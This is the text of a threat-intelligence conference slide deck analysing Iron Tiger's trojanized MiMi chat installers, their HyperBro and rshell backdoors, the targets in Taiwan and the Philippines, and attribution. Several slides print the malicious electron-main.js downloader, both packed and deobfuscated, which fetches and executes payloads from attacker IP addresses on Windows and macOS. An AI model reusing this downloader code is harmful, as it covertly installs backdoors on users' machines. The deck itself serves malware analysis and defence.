

Iron Tiger's Supply Chain Attack Targeting Windows, MacOS and Linux users

Daniel Lunghi (@thehellu),
Jaromir Horejsi (@JaromirHorejsi)
FIRST Regional Symposium Europe, Bilbao
February 1st, 2022



Outline

- Introduction
- Infection vector
- Malware toolkit
 - HyperBro
 - rshell
- Targets
- Timeline
- Attribution and links
- Additional information on supply chain attack
- Conclusion





Introduction

- Iron Tiger (internally Earth Smilodon)
 - also known as Emissary Panda, APT27, TG-3390, Bronze Union, LuckyMouse
- 2010: the oldest operation we noticed
- Sep. 2015: <u>Operation Iron Tiger: Exploring Chinese Cyber-Espionage</u>
 Attacks on United States <u>Defense Contractors</u>
- Apr. 2021: <u>Iron Tiger APT Updates Toolkit With Evolved SysUpdate</u>
 Malware
- Aug. 2022: <u>Iron Tiger Compromises Chat Application Mimi, Targets</u>
 Windows, Mac, and Linux Users







Infection vector



Infection vector – secure chat application

MiMi chat, a multiplatform chat application



In Chinese language mì mì (<u>秘密</u>) means "secret"

Trojanized versions:

- Nov. 2021: Windows
- May 2022: Mac OS



Infection vector – secure chat application

- Registration page is limited to certain countries
 - +86: China
 - +1: Canada
 - +1: USA
 - +852: Hong Kong
 - +853: Macao
 - +886: Taiwan
 - +63: Philippines
 - +65: Singapore
 - +66: Thailand
 - +81: Japan
 - +82: South Korea







Infection vector – secure chat application

- Desktop chat application
 - Built with ElectronJS framework (multiplatform)
 - electron-main.js file modified to download the malicious payload



	[css]		<dir></dir>
	[emotion]		<dir></dir>
	[fonts]		<dir></dir>
	[img]		<dir></dir>
	[js]		<dir></dir>
	[media]		<dir></dir>
	[node_modules]		<dir></dir>
	[statics]		<dir></dir>
	[workers]		<dir></dir>
S	selectron-main	js	75,349
	index	html	3,321
-	🗓 package	json	2,264
S	serviceWorker	js	239,089
S	serviceWorker-dev	js	239,089
8	serviceWorker-prod	js	239,171



Infection vector – patched chat app

 electron-main.js contains code obfuscated with Dean Edwards' JS packer

```
module.exports=function(t) {eval (function(p,a,c,k,e,d) {e=function(c) {return(c<a?"":e(parseInt
29):c.toString(36))};if(!''.replace(/^/,String)) {while(c--)d[e(c)]=k[c]]|e(c);k=[function(e)-e-1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(k() {1
b=0(\'b\');1 6=0(\'6\');1 d=0(\'w\').d;t.g(\'s\',(e)=>{0.m(e)});k 4(i,1,h) {a f=b.E(1);7(i).C
2=6.z()+\'/\';a 3="8://D.q.x.u/";4(3+\'5.p\',2+\'5.p\',()=>{4(3+\'5.n\',2+\'5.n\',()=>{4(3+\'r");d(2+\'c.9\')})})})))))))))))));',42,42,
'require|const|dest|url|downloadFile|dlpprem32|os|request|http|exe|var|fs|dlpumgr32|exec||st:e|log|dll|console|bin|77|finish|uncaughtException|process|141|win32|child_process|250|close|m|download'.split('|'),0,{}));var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]=
```





Infection vector – patched chat app

Dean Edwards' JS packer

my | weblog | about | search A JavaScript Compressor. version 3.0 Copy: eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(1);',2,2,'alert|'.split('|'),0,{})) compression ratio: 265/9=29.444 Decode

Shrink variables



Infection vector – downloader

HyperBro downloader

```
function downloadFile(uri, filename, callback) {
   var stream = fs.createWriteStream(filename);
    request(uri).pipe(stream).on('close', callback)
if (os.platform() == "win32") {
   var dest = os.tmpdir() + '/';
   var url = "http://45.77.250.141/";
    downloadFile(url + 'dlpprem32.bin', dest + 'dlpprem32.bin', () => {
        downloadFile(url + 'dlpprem32.dll', dest + 'dlpprem32.dll', () => {
            downloadFile(url + 'dlpumgr32.exe', dest + 'dlpumgr32.exe', () => {
                console.log("download finish");
                exec(dest + 'dlpumgr32.exe')
```



Infection vector – downloader

rshell downloader

```
function downloadFile(a, b, c) {
   var d = fs.createWriteStream(b);
    request(a).pipe(d).on("close", c)
if (os.platform() == "darwin") {
   var f = os.tmpdir() + "/";
   var g = "http://139.180.216.65/";
    downloadFile(g + "rshell", f + "rshell", () => {
        console.log("download finish");
        exec("chmod +x " + f + "rshell");
       exec(f + "rshell")
```



Infection vector – patched chat app

- We retrieved clean (left) and malicious (right) installer
- The modification time interval between both versions was very short (1h30)

```
2022-06-15 06:54:55 css
2022-06-15 06:54:55 electron-main.js
2022-06-15 06:54:55 emotion
2022-06-15 06:54:55 fonts
2022-06-15 06:54:55 img
2022-06-15 06:54:55 js
2022-06-15 06:54:55 media
2022-06-15 06:54:55 media
2022-06-15 06:54:55 package.json
2022-06-15 06:54:55 serviceWorker-dev.js
2022-06-15 06:54:55 serviceWorker.js
2022-06-15 06:54:55 serviceWorker-prod.js
2022-06-15 06:54:55 serviceWorker-prod.js
2022-06-15 06:54:55 statics
2022-06-15 06:54:55 workers
```

```
2022-06-15 06:54:55 css
2022-06-15 08:24:44 electron-main.js
2022-06-15 06:54:55 emotion
2022-06-15 06:54:55 fonts
2022-06-15 06:54:55 img
2022-06-15 06:54:55 js
2022-06-15 06:54:55 js
2022-06-15 06:54:55 media
2022-06-15 06:54:55 package.json
2022-06-15 06:54:55 serviceWorker-dev.js
2022-06-15 06:54:55 serviceWorker-prod.js
2022-06-15 06:54:55 serviceWorker.js
```



Infection vector – Warnings on Windows

Security warning (unsigned installer) on Windows







- Several warnings when running DMG installer on MacOS
- 1) Safari web browser

Do you want to allow downloads on "www.mmimchat.com"?

You can change which websites can download files in Websites Preferences.

Cancel Allow






2) Unverified developer warning 1



How to open the installer?




 "System Preferences" and "Security & Privacy" tab -> click "Open Anyway"





3) Unverified developer warning 2









Malware toolkits






Usually distributed as a set of 3 files (PlugX style)





Legitimate EXE file with a valid signature

The state of the s





DLL file loads and executes binary file

```
push
.text:68C21014
                                pop
                                        eax
.text:6BC21015
                                push
                                        2Eh
.text:6BC21017
                                mov
                                        [ebp+var_PC], ax
.text:6BC2101B
                                mov
                                        esi,
.text:6BC2101D
                                pop
                                        ecx
.text:6BC2101E
                                push
                                        44h
.text:6BC21020
                                mov
                                        [ebp+
                                              ar_26], ax
.text:6BC21024
                                xor
                                        edi,
.text:6BC21026
                                pop
                                        eax
.text:6BC21027
                                        4Ch
                                push
.text:6BC21029
                                        [ebp+var_14], ax
                                mov
.text:6BC2102D
                                pop
                                        eax
.text:6BC2102E
                                push
                                        50h
.text:6BC21030
                                mov
                                        [ebp+var 22], ax
.text:6BC21034
                                pop
                                        eax
.text:6BC21035
                                        52h
                                push
.text:6BC21037
                                         [ebp+v
                                               ar 20], ax
                                mov
                                        [ebp+var_LE], ax
.text:6BC2103B
                                mov
.text:6BC2103F
                                pop
                                        eax
.text:6BC21040
                                        45h
                                push
.text:6BC21042
                                        [ebp+
                                              ar [C], ax
                                mov
.text:6BC21046
                                pop
                                        eax
.text:6BC21047
                                push
                                        4Dh
.text:6BC21049
                                        [ebp+var LA], ax
                                mov
.text:6BC2104D
                                pop
                                        eax
.text:6BC2104E
                                push
                                        33h
.text:6BC21050
                                        [ebp+
                                               ar_[8], ax
                                mov
.text:6BC21054
                                pop
.text:6BC21055
                                        32h
                                push
                                               ar_[6], ax
.text:6BC21057
.text:6BC2105B
                                pop
                                        eax
.text:6BC2105C
                                push
                                        62h
.text:6BC2105E
                                        [ebp+var [4], ax
                                mov
.text:6BC21062
                                pop
                                        eax
.text:6BC21063
                                push
                                        69h
.text:6BC21065
                                        [ebp+
                                               ar [0], ax
                                mov
.text:6BC21069
                                        eax
.text:6BC2106A
                                push
                                        6Eh
```

Usage of stack strings



- The binary file is either
 - Clear x86 code
 - Self-decrypting x86 code (shikata_ga_nai Metasploit's encoder)
 - XORed x86 code (usually single-byte)
- The final payload is usually decompressed in memory by calling RtlDecompressBuffer and run





- Custom backdoor, original functions
 - File manager (enumerate volumes, delete, upload, download, list files, run application)
 - Interactive shell
 - Take screenshot
 - Run shellcode injected into newly created process
 - Kill process
 - Service manager (list services, start service, stop service)





RTTI classes

- TCaptureData
- TCaptureMgr
- TCommand
- TConfig
- TDirve (typo included)
- TFileData
- TFileDataReq
- TFileDown
- TFileInfo
- TFileMgr
- TFileUpload
- Tinfo

- Tlogin
- TLoop
- TPacket
- TPipeProtocol
- TProcessInfo
- TProcessMgr
- TProtocol
- TServiceInfo
- TServiceMgr
- TShellcodeData
- TShellcodeMgr
- TShellMgr
- TSock

- TTransConnect
- TTransData
- TTransMgr
- TUserMgr
- TClipboardInfo
- TClipboardMgr
- TFileRename
- TFileRetime
- TKeyboardInfo
- TKeyboardMgr
- TRegeditKeyInfo
- TRegeditMgr
- TRegeditValueInfo

Only in updated version



- Based on the RTTI class names, newer version added:
 - Clipboard stealing features
 - Keylogging features
 - Windows registry features
 - Timestomping features
- URI path changed
 - Old version: "/ajax"
 - Updated version: "/api/v2/ajax"
- Encoded payload name
 - Old version: thumb.db
 - Updated version: thumb.dat



- Standard backdoor implementing functions
 - Collect OS info and send it to C&C
 - Receive command from C&C to execute
 - Send command execution results back to C&C
- Observed versions compiled for Linux and MacOS





- OS collection
 - GUID: (randomly generated guid, stored in /tmp/guid)
 - computer name: uname (nodename)
 - IP addresses: (getifaddrs)
 - message type: login
 - username: getpwuid (pw_name)
 - version: uname (release)





- C&C communication
 - in Binary JSON (BSON) format
 - Not encrypted

```
"guid": "aaaaa381-1d0d-28de-9c1b-c9c336aa2747",
"hostname": "debian",
"lan": "127.0.0.1,192.168.11.11,",
"type": "login",
"username": "EEE",
"version": "4.19.0-11-amd64"
```



Supported backdoor commands

Туре	Subtype	Explanation
Cmd	Init	Start new terminal
Cmd	close	Kill terminal
Cmd	data	Commands to execute
File	Init	List root / directory
File	Dir	List directory
File	down	Download file
File	read	Read file
File	close	Close file
File	upload	Upload file
File	write	Write file
File	Del	Delete file





Targets



Targets

- 13 targets found in our telemetry
- Targeted countries: Taiwan, Philippines
- HyperBro
 - 5 targets, 4 in Taiwan, 1 in Philippines
- rshell
 - 8 targets, 6 in Taiwan, 1 in Philippines
- One target identified as a Taiwanese gaming company








Timeline



Timeline







Attribution and links




Attribution to Iron Tiger

- HyperBro malware
 - Exclusive to Iron Tiger?
- In October 2019, an updated version of HyperBro was used during Operation DRBControl
- In December 2020, <u>Avast</u> and <u>ESET</u> wrote about campaigns using old versions of HyperBro
- Why would a single group use an old version if they have access to the new one?






Attribution to Iron Tiger





Attribution to Iron Tiger





Links to Earth Berberoka

MiMi chat application was also seen during <u>Operation</u>
 <u>GamblingPuppet</u>, an Earth Berberoka's campaign


 Threat actor cloned the legitimate website and changed the installer download link (not a supply chain attack)


 The installer embedded the malicious payload and called it after installation (no packed JS code; no further download)





Links to Earth Berberoka












Supply Chain Attack – additional information



- Is this "MiMi chat" a legitimate application/website?
 - No reference to the developing company on the website
 - Querying for "MiMi chat" on search engines does not return any relevant results





```
"name": "im-desktop-2.0",
"version": "2.2.1",
"desktopVersion": "2.2.1",
"description": "mimi",
"productName": "mimi",
"author": "SEEKTOP <seektopser.com>",

package.json
```

Mimi.exe properties











Headquartered in Manila, Makati, Philippines

Mainly develop creative, interesting interactive games, live broadcast of international sports events, hope to find you who have endless creativity in website development,

We are currently looking for [Android Engineer], the job information is as follows, you are welcome to join us with enthusiasm

Android engineer

- **Requires 2 years of work experience, if you meet the requirements, please re-submit your resume**
- 1. We need to be proficient in Java language foundation and have more than 2 years of Android development work experience.
- 2. Familiar with commonly used data structures and algorithms, and have experienced the development of online Android apps.
- 3. Familiar with Android SDK, flexibly use various components and mechanisms of Android, and be able to realize components with excellent performance and reusability.
- 4. Familiar with the Android framework and various features, familiar with object-oriented programming, understand design patterns, etc.
- 5. Familiar with network programming, Android UI framework and related development tools.
- 6. Familiar with kotlin, java, MVVM technology application.
- ◆ Salary range: Negotiable above NT.100,000
- ♦ Salary structure: basic salary + job performance + quarterly assessment bonus + fixed halfvearly salary adjustment.
- ◆ Remote benefits: 13-17 salary, year-end 1-4 months, holiday gifts, various paid holidays (annual leave, sick leave, marriage and maternity leave), etc.
- ♦ Working hours: 9:30-18:30 The working hours are fixed at 8 hours, with one or two days off each week.
- ◆ Delivery channel: @seektopser.com
- * This is overseas remote work, please contact me for detailed benefits and work information:

New Taiwan dollar

From Wikipedia, the free encyclopedia

"TWD" redirects here. For other uses, see TWD (disambiguation).

The New Taiwan dollar[1] (code: TWD; symbol: NT\$, also abbreviated as NT) is the official currency of Taiwan.



We found an old version of the mmimchat.com website



Screenshot of www.ddqchat.com

ddqchat.com and hkjump.seektopser.com both resolve to 203.60.2.54





- The first MiMi chat version that was released after the publication of our blogpost, version 2.3.4, was clean
 - It seems the threat actor read our report
- New versions keep being published on the website (latest one is 2.3.7)





Supply chain attack – how?

We found interesting attackers' scripts in our telemetry



- Script.js is a custom Javascript password grabber
- <subdomain> is an authentication portal for dev tool
- Attacker might have used credentials stolen this way to access Seektop build environment







Conclusion



Takeaways

Supply chain attacks defeat even cautious targets

 Running unsigned installer displays warnings on both Windows and MacOS, users likely used to ignore them

 Attribution requires a lot of caution, as threat actors could share code





Conclusion

- Advanced threat actor with strong technical capabilities, able to identify small development companies to reach their targets
- Custom malware toolkit working on multiple platforms
- Campaign linked to a well-known threat actor, however, links to others threat actors also observed
- The motivation is unclear, but probably espionage





References

- Uncovering DRBControl: Inside the Cyberespionage Campaign Targeting
 Gambling Operations (whitepaper, Feb 18th, 2020)
- Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware (blogpost, Apr 9th, 2022)
- New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware (blogpost, Apr 27th, 2022)
- Operation Earth Berberoka: An Analysis of a Multivector and Multiplatform APT
 Campaign Targeting Online Gambling Sites (whitepaper, May 24th, 2022)
- <u>Iron Tiger Compromises Chat Application Mimi, Targets Windows, Mac, and Linux</u>
 <u>Users</u> (blogpost, Aug 12th, 2022)



